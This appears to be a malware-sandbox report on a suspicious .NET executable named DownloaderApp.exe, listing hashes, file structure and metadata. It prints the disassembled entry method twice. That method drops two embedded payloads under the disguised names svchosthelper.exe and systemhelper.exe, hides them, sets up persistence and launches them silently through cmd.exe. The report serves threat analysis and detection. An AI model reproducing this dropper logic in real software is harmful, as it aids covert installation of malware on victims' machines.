Suspicious
Suspect

c1bc86589d12eddcb7c1e9b74031a223

PE Executable
|
MD5: c1bc86589d12eddcb7c1e9b74031a223
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Size: 2.76 MB
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application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Medium

Hash
 Hash Value
MD5
c1bc86589d12eddcb7c1e9b74031a223
Sha1
1b49da57973fbeb1dd478021dfdb33b3e602d603
Sha256
912c36f958867dfdce9b197f2a4efaaf651a2c1fdd0e77835add985e30513d1a
Sha384
72d5e70abde4f2cb763d864e633cf8e6329777c47b126de9d896120fa119053975b7ad527a4887ede4251832f33c5394
Sha512
5e70347a3886b1f4d13ca20c77ddc9e95aefe429dea566665dda65914bde5db406ba420d6d1d2296aa65412be0b4162d2786ce8a6afe905d13a858080b129517
SSDeep
49152:NnoDE9dM5zQE4GZJuy/R5uQj4mIxlwK1C25DaWWFkI2nRcbEEjCL3khxamj:aV5UQJb5uQvYlNR/WG4bxyS8
TLSH
72D5332650C3C21CC21711B5AEF134290C95E793A6BEFE3C4C9DA42AD93AE7895167E3

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
UPolyX 0.3 -> delikon
File Structure
c1bc86589d12eddcb7c1e9b74031a223
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
euTz8nVTC5G6.bz9H6.qNLzh
euTz8nVTC5G6.yF32sU.dwVQW
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

43
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

95
Main IL

call System.Boolean A.B::C() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void A.B::D() leave.s IL_0014: ret pop <null> leave IL_0121: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "svchosthelper.exe" newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr svchosthelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr euTz8nVTC5G6.bz9H6.qNLzh ldloc.3 <null> call System.Void A.B::F(System.String,System.String) ldstr euTz8nVTC5G6.yF32sU.dwVQW ldloc.s V_4 call System.Void A.B::F(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.3 <null> call System.Void A.B::G(System.String) ldloc.s V_4 call System.Void A.B::G(System.String) call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void A.B::H(System.String) ldloc.3 <null> ldloc.2 <null> call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.3 <null> ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.s V_4 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_0121: ret pop <null> leave.s IL_0121: ret ret <null>
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

43
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

95
Main IL

call System.Boolean A.B::C() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void A.B::D() leave.s IL_0014: ret pop <null> leave IL_0121: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "svchosthelper.exe" newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr svchosthelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr euTz8nVTC5G6.bz9H6.qNLzh ldloc.3 <null> call System.Void A.B::F(System.String,System.String) ldstr euTz8nVTC5G6.yF32sU.dwVQW ldloc.s V_4 call System.Void A.B::F(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.3 <null> call System.Void A.B::G(System.String) ldloc.s V_4 call System.Void A.B::G(System.String) call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void A.B::H(System.String) ldloc.3 <null> ldloc.2 <null> call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.3 <null> ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.s V_4 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_0121: ret pop <null> leave.s IL_0121: ret ret <null>
c1bc86589d12eddcb7c1e9b74031a223 (2.76 MB)
File Structure
c1bc86589d12eddcb7c1e9b74031a223
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
euTz8nVTC5G6.bz9H6.qNLzh
euTz8nVTC5G6.yF32sU.dwVQW
Characteristics
No malware configuration were found at this point.
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